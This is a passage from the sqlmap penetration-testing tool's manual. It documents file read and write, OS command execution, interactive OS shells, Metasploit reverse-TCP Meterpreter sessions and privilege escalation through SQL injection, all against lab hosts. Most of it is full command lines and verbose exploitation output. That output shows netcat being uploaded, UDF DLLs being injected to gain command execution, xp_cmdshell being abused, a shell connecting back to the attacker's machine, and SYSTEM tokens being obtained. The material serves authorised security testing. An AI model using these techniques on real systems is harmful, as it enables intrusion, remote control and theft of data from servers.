[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(ENCODE(data, CHR(98)||CHR(97)||CHR(115)||CHR(101)
||CHR(54)||CHR(52)) AS CHARACTER(10000)), CHR(32)) FROM sqlmapfile OFFSET 0 LIMIT 1
[hh:mm:04] [INFO] retrieved: VGhpcyBpcyBhIHRleHQgZmlsZQ==
[hh:mm:22] [DEBUG] performed 203 queries in 18 seconds
[hh:mm:22] [DEBUG] cleaning up the database management system
[hh:mm:22] [DEBUG] removing support tables
[hh:mm:22] [DEBUG] query: DROP TABLE sqlmapfile
C:/example.txt file saved to: '/home/inquis/sqlmap/output/172.16.213.131/files/C__example.txt'
[hh:mm:22] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/172.16.213.131'
$ cat output/172.16.213.131/files/C__example.txt
This is a text file
Example on a Microsoft SQL Server 2005 Service Pack 0 target to retrieve a binary file:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
--read-file "C:\example.exe" --union-use -v 1
[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:49] [INFO] testing inband sql injection on parameter 'name' with NULL bruteforcing
technique
[hh:mm:49] [INFO] confirming full inband sql injection on parameter 'name'
[hh:mm:49] [WARNING] the target url is not affected by an exploitable full inband sql
injection vulnerability
[hh:mm:49] [INFO] confirming partial (single entry) inband sql injection on parameter
'name' by appending a false condition after the parameter value
[hh:mm:49] [INFO] the target url is affected by an exploitable partial (single entry)
inband sql injection vulnerability
valid union: 'http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION
ALL SELECT NULL, NULL, NULL-- AND 'sjOfJ'='sjOfJ'
[hh:mm:49] [INFO] testing stacked queries support on parameter 'name'
[hh:mm:54] [INFO] the web application supports stacked queries on parameter 'name'
[hh:mm:54] [INFO] fetching file: 'C:/example.exe'
[hh:mm:54] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to: '/home/inquis/sqlmap/output/172.16.213.131/files/
C__example.exe'
[hh:mm:54] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/
172.16.213.131'
$ ls -l output/172.16.213.131/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2009-MM-DD hh:mm output/172.16.213.131/files/C__example.exe
$ file output/172.16.213.131/files/C__example.exe
output/172.16.213.131/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
Options: --write-file and --dest-file
It is possible to upload a local file to the database server file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a text or a binary file. sqlmap will handle it automatically.
These techniques are detailed in the white paper Advanced SQL injection to operating system full control.
Example on a MySQL 5.0.67 target to upload a binary UPX-compressed file:
$ file /tmp/nc.exe.packed
/tmp/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
$ ls -l /tmp/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /tmp/nc.exe.packed
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.aspx?id=1" --write-file \
"/tmp/nc.exe.packed" --dest-file "C:\WINDOWS\Temp\nc.exe" -v 1
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[hh:mm:29] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:29] [INFO] detecting back-end DBMS version from its banner
[hh:mm:29] [INFO] retrieved: 5.0.67
[hh:mm:36] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:36] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:36] [INFO] retrieved: C
[hh:mm:36] [INFO] the back-end DBMS operating system is Windows
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
same size as the local file '/tmp/nc.exe.packed'
Example on a PostgreSQL 8.4 target to upload a text file:
$ python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int8.4.php?id=1 \
--write-file /etc/passwd --dest-file /tmp/writtenfrompgsql -v 1
[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:01] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:01] [INFO] detecting back-end DBMS version from its banner
[hh:mm:01] [INFO] retrieved: 8.4.2
[hh:mm:07] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:07] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:07] [INFO] retrieved: 0
[hh:mm:07] [INFO] retrieved: 0
[hh:mm:07] [INFO] the back-end DBMS operating system is Linux
do you want confirmation that the file '/tmp/writtenfrompgsql' has been successfully
written on the back-end DBMS file system? [Y/n]
[hh:mm:14] [INFO] retrieved: 2264
[hh:mm:14] [INFO] the file has been successfully written and its size is 2264 bytes,
same size as the local file '/etc/passwd'
Options: --os-cmd and --os-shell
It is possible to execute arbitrary commands on the underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.
On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality
explained above) a shared library (binary file) containing two
user-defined functions, sys_exec() and sys_eval(), then
it creates these two functions on the database and call one of them to
execute the specified command, depending on the user's choice to display
the standard output or not.
On Microsoft SQL Server, sqlmap abuses the xp_cmshell stored
procedure: if it's disabled, sqlmap re-enables it; if it does not exist,
sqlmap creates it from scratch.
If the user wants to retrieve the command standard output, sqlmap will use one of the enumeration SQL injection techniques (blind or inband) to retrieve it or, in case of stacked query SQL injection technique, sqlmap will execute the command without returning anything to the user.
These techniques are detailed in the white paper Advanced SQL injection to operating system full control.
It is possible to specify a single command to be executed with the
--os-cmd option.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.aspx?id=1" \
--os-cmd "whoami" -v 1
[...]
[hh:mm:05] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: PostgreSQL
[hh:mm:05] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:05] [INFO] detecting back-end DBMS version from its banner
[hh:mm:05] [INFO] retrieved: 8.3.5,
[hh:mm:15] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:15] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:15] [INFO] retrieved: 1
[hh:mm:16] [INFO] the back-end DBMS operating system is Windows
[hh:mm:16] [INFO] testing if current user is DBA
[hh:mm:16] [INFO] retrieved: 1
[hh:mm:16] [INFO] checking if sys_exec UDF already exist
[hh:mm:16] [INFO] retrieved: 0
[hh:mm:18] [INFO] checking if sys_eval UDF already exist
[hh:mm:18] [INFO] retrieved: 0
[hh:mm:20] [INFO] creating sys_exec UDF from the binary UDF file
[hh:mm:20] [INFO] creating sys_eval UDF from the binary UDF file
do you want to retrieve the command standard output? [Y/n]
[hh:mm:35] [INFO] retrieved: w2k3dev\postgres
command standard output: 'w2k3dev\postgres'
Example on a Microsoft SQL Server 2005 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
--os-cmd "whoami" --union-use -v 1
[...]
[hh:mm:58] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:58] [INFO] testing inband sql injection on parameter 'name' with NULL bruteforcing
technique
[hh:mm:58] [INFO] confirming full inband sql injection on parameter 'name'
[hh:mm:58] [WARNING] the target url is not affected by an exploitable full inband sql
injection vulnerability
[hh:mm:58] [INFO] confirming partial (single entry) inband sql injection on parameter 'name'
by appending a false condition after the parameter value
[hh:mm:58] [INFO] the target url is affected by an exploitable partial (single entry) inband
sql injection vulnerability
valid union: 'http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION
ALL SELECT NULL, NULL, NULL-- AND 'SonLv'='SonLv'
[hh:mm:58] [INFO] testing stacked queries support on parameter 'name'
[hh:mm:03] [INFO] the web application supports stacked queries on parameter 'name'
[hh:mm:03] [INFO] testing if current user is DBA
[hh:mm:03] [INFO] checking if xp_cmdshell extended procedure is available, wait..
[hh:mm:09] [INFO] xp_cmdshell extended procedure is available
do you want to retrieve the command standard output? [Y/n]
[hh:mm:11] [INFO] the SQL query provided returns 1 entries
command standard output:
---
nt authority\network service
---
It is also possible to simulate a real shell where you can type as many
arbitrary commands as you wish. The option is --os-shell and has
the same TAB completion and history functionalities like
--sql-shell.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.aspx?id=1" \
--os-shell -v 2
[...]
[hh:mm:36] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[hh:mm:36] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:36] [INFO] detecting back-end DBMS version from its banner
[hh:mm:36] [DEBUG] query: IFNULL(CAST(MID((VERSION()), 1, 6) AS CHAR(10000)), CHAR(32))
[hh:mm:36] [INFO] retrieved: 5.0.67
[hh:mm:37] [DEBUG] performed 49 queries in 1 seconds
[hh:mm:37] [DEBUG] query: SELECT SLEEP(5)
[hh:mm:42] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:42] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:42] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:42] [DEBUG] query: CREATE TABLE sqlmapfile(data text)
[hh:mm:42] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
[hh:mm:42] [DEBUG] query: SELECT IFNULL(CAST(MID(@@datadir, 1, 1) AS CHAR(10000)), CHAR(32))
[hh:mm:42] [INFO] retrieved: C
[hh:mm:42] [DEBUG] performed 14 queries in 0 seconds
[hh:mm:42] [INFO] the back-end DBMS operating system is Windows
[hh:mm:42] [DEBUG] cleaning up the database management system
[hh:mm:42] [DEBUG] removing support tables
[hh:mm:42] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:42] [INFO] testing if current user is DBA
[hh:mm:42] [DEBUG] query: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=
(SUBSTRING_INDEX(CURRENT_USER(), CHAR(64), 1)) LIMIT 0, 1)=CHAR(89)) THEN 1 ELSE 0 END)
[hh:mm:42] [INFO] retrieved: 1
[hh:mm:43] [DEBUG] performed 5 queries in 0 seconds
[hh:mm:43] [INFO] checking if sys_exec UDF already exist
[hh:mm:43] [DEBUG] query: SELECT (CASE WHEN ((SELECT name FROM mysql.func WHERE name=
CHAR(115,121,115,95,101,120,101,99) LIMIT 0, 1)=CHAR(115,121,115,95,101,120,101,99))
THEN 1 ELSE 0 END)
[hh:mm:43] [INFO] retrieved: 0
[hh:mm:43] [DEBUG] performed 14 queries in 0 seconds
[hh:mm:43] [INFO] checking if sys_eval UDF already exist
[hh:mm:43] [DEBUG] query: SELECT (CASE WHEN ((SELECT name FROM mysql.func WHERE name=
CHAR(115,121,115,95,101,118,97,108) LIMIT 0, 1)=CHAR(115,121,115,95,101,118,97,108))
THEN 1 ELSE 0 END)
[hh:mm:43] [INFO] retrieved: 0
[hh:mm:43] [DEBUG] performed 14 queries in 0 seconds
[hh:mm:43] [DEBUG] going to upload the binary file with stacked query SQL injection technique
[hh:mm:43] [DEBUG] creating a support table to write the hexadecimal encoded file to
[hh:mm:43] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:43] [DEBUG] query: CREATE TABLE sqlmapfile(data longblob)
[hh:mm:43] [DEBUG] encoding file to its hexadecimal string value
[hh:mm:43] [DEBUG] forging SQL statements to write the hexadecimal encoded file to the
support table
[hh:mm:43] [DEBUG] inserting the hexadecimal encoded file to the support table
[hh:mm:43] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (0x4d5a90 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x000000 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0xffcbff [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x490068 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x1c5485 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x14cc63 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x207665 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x5c5379 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x0e5bc2 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x505357 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x000000 [...])
[hh:mm:44] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x696372 [...])
[hh:mm:44] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0xdd8400 [...])
[hh:mm:44] [DEBUG] exporting the binary file content to file './libsqlmapudftxxgk.dll'
[hh:mm:44] [DEBUG] query: SELECT data FROM sqlmapfile INTO DUMPFILE './libsqlmapudftxxgk.dll'
[hh:mm:44] [DEBUG] cleaning up the database management system
[hh:mm:44] [DEBUG] removing support tables
[hh:mm:44] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:44] [INFO] creating sys_exec UDF from the binary UDF file
[hh:mm:44] [DEBUG] query: DROP FUNCTION sys_exec
[hh:mm:44] [DEBUG] query: CREATE FUNCTION sys_exec RETURNS int SONAME 'libsqlmapudftxxgk.dll'
[hh:mm:44] [INFO] creating sys_eval UDF from the binary UDF file
[hh:mm:44] [DEBUG] query: DROP FUNCTION sys_eval
[hh:mm:44] [DEBUG] query: CREATE FUNCTION sys_eval RETURNS string SONAME
'libsqlmapudftxxgk.dll'
[hh:mm:44] [DEBUG] creating a support table to write commands standard output to
[hh:mm:44] [DEBUG] query: DROP TABLE sqlmapoutput
[hh:mm:44] [DEBUG] query: CREATE TABLE sqlmapoutput(data longtext)
[hh:mm:44] [INFO] going to use injected sys_eval and sys_exec user-defined functions for
operating system command execution
[hh:mm:44] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n]
[hh:mm:41] [DEBUG] query: INSERT INTO sqlmapoutput(data) VALUES (sys_eval('whoami'))
[hh:mm:41] [DEBUG] query: SELECT IFNULL(CAST(data AS CHAR(10000)), CHAR(32)) FROM
sqlmapoutput
[hh:mm:41] [INFO] retrieved: nt authority\system
[hh:mm:44] [DEBUG] performed 140 queries in 2 seconds
[hh:mm:44] [DEBUG] query: DELETE FROM sqlmapoutput
command standard output: 'nt authority\system'
os-shell> [TAB TAB]
copy del dir echo md mem move
net netstat -na ver whoami xcopy
os-shell> exit
[hh:mm:51] [INFO] cleaning up the database management system
[hh:mm:51] [DEBUG] removing support tables
[hh:mm:51] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:51] [DEBUG] query: DROP TABLE sqlmapoutput
do you want to remove sys_exec UDF? [Y/n] n
do you want to remove sys_eval UDF? [Y/n] n
[hh:mm:04] [INFO] database management system cleanup finished
[hh:mm:04] [WARNING] remember that UDF dynamic-link library files saved on the file system
can only be deleted manually
Now run it again, but specifying the --union-use to retrieve the
command standard output quicker, via UNION based SQL injection, when the
parameter is affected also by inband SQL injection vulnerability:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.aspx?id=1" \
--os-shell -v 2 --union-use
[...]
[hh:mm:16] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[hh:mm:16] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
technique
[hh:mm:16] [INFO] confirming full inband sql injection on parameter 'id'
[hh:mm:16] [INFO] the target url is affected by an exploitable full inband sql injection
vulnerability
valid union: 'http://172.16.213.131/sqlmap/mysql/iis/get_int.aspx?id=1 UNION ALL SELECT
NULL, NULL, NULL# AND 528=528'
[hh:mm:16] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:16] [INFO] detecting back-end DBMS version from its banner
[hh:mm:16] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),
MID((VERSION()), 1, 6),CHAR(117,114,115,75,117,102)), NULL# AND 3173=3173
[hh:mm:16] [DEBUG] performed 1 queries in 0 seconds
[hh:mm:16] [DEBUG] query: SELECT SLEEP(5)
[hh:mm:21] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:21] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:21] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:21] [DEBUG] query: CREATE TABLE sqlmapfile(data text)
[hh:mm:21] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
[hh:mm:21] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),
MID(@@datadir, 1, 1),CHAR(117,114,115,75,117,102)), NULL# AND 6574=6574
[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
[hh:mm:21] [INFO] the back-end DBMS operating system is Windows
[hh:mm:21] [DEBUG] cleaning up the database management system
[hh:mm:21] [DEBUG] removing support tables
[hh:mm:21] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:21] [INFO] testing if current user is DBA
[hh:mm:21] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE
WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), CHAR(64),
1)) LIMIT 0, 1)=CHAR(89)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL# AND 19=19
[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
[hh:mm:21] [INFO] checking if sys_exec UDF already exist
[hh:mm:21] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE WHEN
((SELECT name FROM mysql.func WHERE name=CHAR(115,121,115,95,101,120,101,99) LIMIT 0, 1)=
CHAR(115,121,115,95,101,120,101,99)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL#
AND 4900=4900
[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
sys_exec UDF already exists, do you want to overwrite it? [y/N] n
[hh:mm:24] [INFO] checking if sys_eval UDF already exist
[hh:mm:24] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE WHEN
((SELECT name FROM mysql.func WHERE name=CHAR(115,121,115,95,101,118,97,108) LIMIT 0, 1)=
CHAR(115,121,115,95,101,118,97,108)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL#
AND 4437=4437
[hh:mm:24] [DEBUG] performed 1 queries in 0 seconds
sys_eval UDF already exists, do you want to overwrite it? [y/N] n
[hh:mm:25] [DEBUG] keeping existing sys_exec UDF as requested
[hh:mm:25] [DEBUG] keeping existing sys_eval UDF as requested
[hh:mm:25] [DEBUG] creating a support table to write commands standard output to
[hh:mm:25] [DEBUG] query: DROP TABLE sqlmapoutput
[hh:mm:25] [DEBUG] query: CREATE TABLE sqlmapoutput(data longtext)
[hh:mm:25] [INFO] going to use injected sys_eval and sys_exec user-defined functions for
operating system command execution
[hh:mm:25] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ipconfig
do you want to retrieve the command standard output? [Y/n]
[hh:mm:29] [DEBUG] query: INSERT INTO sqlmapoutput(data) VALUES (sys_eval('ipconfig'))
[hh:mm:29] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),IFNULL(CAST
(data AS CHAR(10000)), CHAR(32)),CHAR(117,114,115,75,117,102)), NULL FROM sqlmapoutput# AND
7106=7106
[hh:mm:29] [DEBUG] performed 1 queries in 0 seconds
[hh:mm:29] [DEBUG] query: DELETE FROM sqlmapoutput
command standard output:
---
Windows IP Configuration
Ethernet adapter Local Area Connection 2:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 172.16.213.131
Subnet Mask . . . . . . . . . . . : 255.255.255.0
---Default Gateway . . . . . . . . . : 172.16.213.1
os-shell> exit
[hh:mm:41] [INFO] cleaning up the database management system
[hh:mm:41] [DEBUG] removing support tables
[hh:mm:41] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:41] [DEBUG] query: DROP TABLE sqlmapoutput
do you want to remove sys_exec UDF? [Y/n] n
do you want to remove sys_eval UDF? [Y/n] n
[hh:mm:54] [INFO] database management system cleanup finished
[hh:mm:54] [WARNING] remember that UDF dynamic-link library files saved on the file system
can only be deleted manually
As you can see from this second example, sqlmap firstly check if the two user-defined functions are already created, if so, it asks the user if he wants to recreate them or keep them and save time.
Options: --os-pwn, --priv-esc, --msf-path and --tmp-path
It is possible to establish an out-of-band stateful TCP connection between the user machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice. sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are:
sys_bineval(). Supported on
MySQL and PostgreSQL.sys_exec() on
MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL
Server.smb_relay server exploit
runs.sp_replwritetovarbin stored procedure heap-based buffer
overflow (
MS09-004) with automatic DEP bypass.Note that this feature is not supported by sqlmap running on Windows
because it relies on Metasploit's msfcli which is not
available for Windows.
These techniques are detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database.
Example on a MySQL 5.1 target:
$ python sqlmap.py -u "http://172.16.213.128/sqlmap/mysql/get_int_51.aspx?id=1" \
--os-pwn -v 1 --msf-path /home/inquis/software/metasploit
[...]
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[hh:mm:09] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:09] [INFO] detecting back-end DBMS version from its banner
[hh:mm:09] [INFO] retrieved: 5.1.30
[hh:mm:18] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:18] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:18] [INFO] retrieved: C
[hh:mm:19] [INFO] the back-end DBMS operating system is Windows
[hh:mm:19] [INFO] testing if current user is DBA
[hh:mm:19] [INFO] retrieved: 1
[hh:mm:20] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:20] [INFO] retrieved: 0
[hh:mm:21] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:21] [INFO] retrieved: 0
[hh:mm:21] [INFO] retrieving MySQL base directory absolute path
[hh:mm:21] [INFO] retrieved: C:\Program Files\MySQL\MySQL Server 5.1\
[hh:mm:46] [WARNING] this will only work if the database administrator created manually
the 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin' subfolder
[hh:mm:47] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:47] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database underlying
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
> 1
[hh:mm:51] [INFO] creating Metasploit Framework 3 multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
> 1
which is the local address? [172.16.213.1]
which local port number do you want to use? [47776]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 1
[hh:mm:55] [INFO] creation in progress .............................................. done
[hh:mm:41] [INFO] running Metasploit Framework 3 command line interface locally, wait..
[*] Please wait while we load the module tree...
[*] Started reverse handler on 172.16.213.1:47776
[*] Starting the payload handler...
[hh:mm:22] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval', wait..
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (172.16.213.1:47776 -> 172.16.213.128:2176)
meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > Loading extension priv...success.
meterpreter > Loading extension sniffer...success.
meterpreter > Computer: W2K3DEV
OS : Windows .NET Server (Build 3790, Service Pack 2).
Arch : x86
Language: en_US
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
VMware Accelerated AMD PCNet Adapter #2
Hardware MAC: 00:0c:29:86:69:1b
IP Address : 172.16.213.128
Netmask : 255.255.255.0
meterpreter > exit
[hh:mm:52] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_bineval'? [Y/n]
do you want to remove UDF 'sys_exec'? [Y/n]
[hh:mm:54] [INFO] database management system cleanup finished
[hh:mm:54] [WARNING] remember that UDF dynamic-link library files and Metasploit related
files in the temporary folder saved on the file system can only be deleted manually
By default MySQL on Windows runs as SYSTEM, however PostgreSQL
runs as a low-privileged user postgres on both Windows and Linux.
Microsoft SQL Server 2000 by default runs as SYSTEM, whereas
Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK
SERVICE and sometimes as LOCAL SERVICE.
It is possible to provide sqlmap with the --priv-esc
option to perform a database process' user privilege escalation
via Metasploit's getsystem command which include, among others,
the
kitrap0d technique (
MS10-015) or via
Windows Access Tokens kidnapping by using Meterpreter's
incognito extension.
Example on a Microsoft SQL Server 2005 Service Pack 0 running as
NETWORK SERVICE on the target:
$ python sqlmap.py -u "http://172.16.213.128/sqlmap/mssql/iis/get_int.asp?id=1" \
--os-pwn -v 1 --msf-path /home/inquis/software/metasploit --priv-esc
[...]
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:47] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:52] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:52] [INFO] testing if current user is DBA
[hh:mm:52] [INFO] retrieved: 1
[hh:mm:52] [INFO] checking if xp_cmdshell extended procedure is available, wait..
[hh:mm:01] [INFO] xp_cmdshell extended procedure is available
[hh:mm:01] [INFO] creating Metasploit Framework 3 payload stager
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
> 1
which is the local address? [172.16.213.1]
which local port number do you want to use? [44780]
[hh:mm:52] [INFO] forcing Metasploit payload to Meterpreter because it is the only payload
that can be used to escalate privileges, either via 'incognito' extension or via
'getsystem' command
which payload encoding do you want to use?
[1] No Encoder
[2] Alpha2 Alphanumeric Mixedcase Encoder
[3] Alpha2 Alphanumeric Uppercase Encoder
[4] Avoid UTF8/tolower
[5] Call+4 Dword XOR Encoder
[6] Single-byte XOR Countdown Encoder
[7] Variable-length Fnstenv/mov Dword XOR Encoder
[8] Polymorphic Jump/Call XOR Additive Feedback Encoder
[9] Non-Alpha Encoder
[10] Non-Upper Encoder
[11] Polymorphic XOR Additive Feedback Encoder (default)
[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
[13] Alpha2 Alphanumeric Unicode Uppercase Encoder
>
[hh:mm:53] [INFO] creation in progress ..... done
[hh:mm:58] [INFO] compression in progress . done
[hh:mm:59] [INFO] uploading payload stager to 'C:/WINDOWS/Temp/tmpmqyws.exe'
[hh:mm:05] [INFO] running Metasploit Framework 3 command line interface locally, wait..
[*] Please wait while we load the module tree...
[*] Started reverse handler on 172.16.213.1:44780
[*] Starting the payload handler...
[hh:mm:31] [INFO] running Metasploit Framework 3 payload stager remotely, wait..
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (172.16.213.1:44780 -> 172.16.213.128:2185)
meterpreter >
[hh:mm:34] [INFO] trying to escalate privileges using Meterpreter 'getsystem' command which
tries different techniques, including kitrap0d
[hh:mm:34] [INFO] displaying the list of Access Tokens availables. Choose which user you
want to impersonate by using incognito's command 'impersonate_token' if 'getsystem' did not
success to elevate privileges
Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > Loading extension priv...success.
meterpreter > Loading extension sniffer...success.
meterpreter > Computer: W2K3DEV
OS : Windows .NET Server (Build 3790, Service Pack 2).
Arch : x86
Language: en_US
meterpreter > Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > ...got system (via technique 4).
meterpreter >
Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
W2K3DEV\Administrator
W2K3DEV\IUSR_W2K3STENSP0
W2K3DEV\postgres
Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
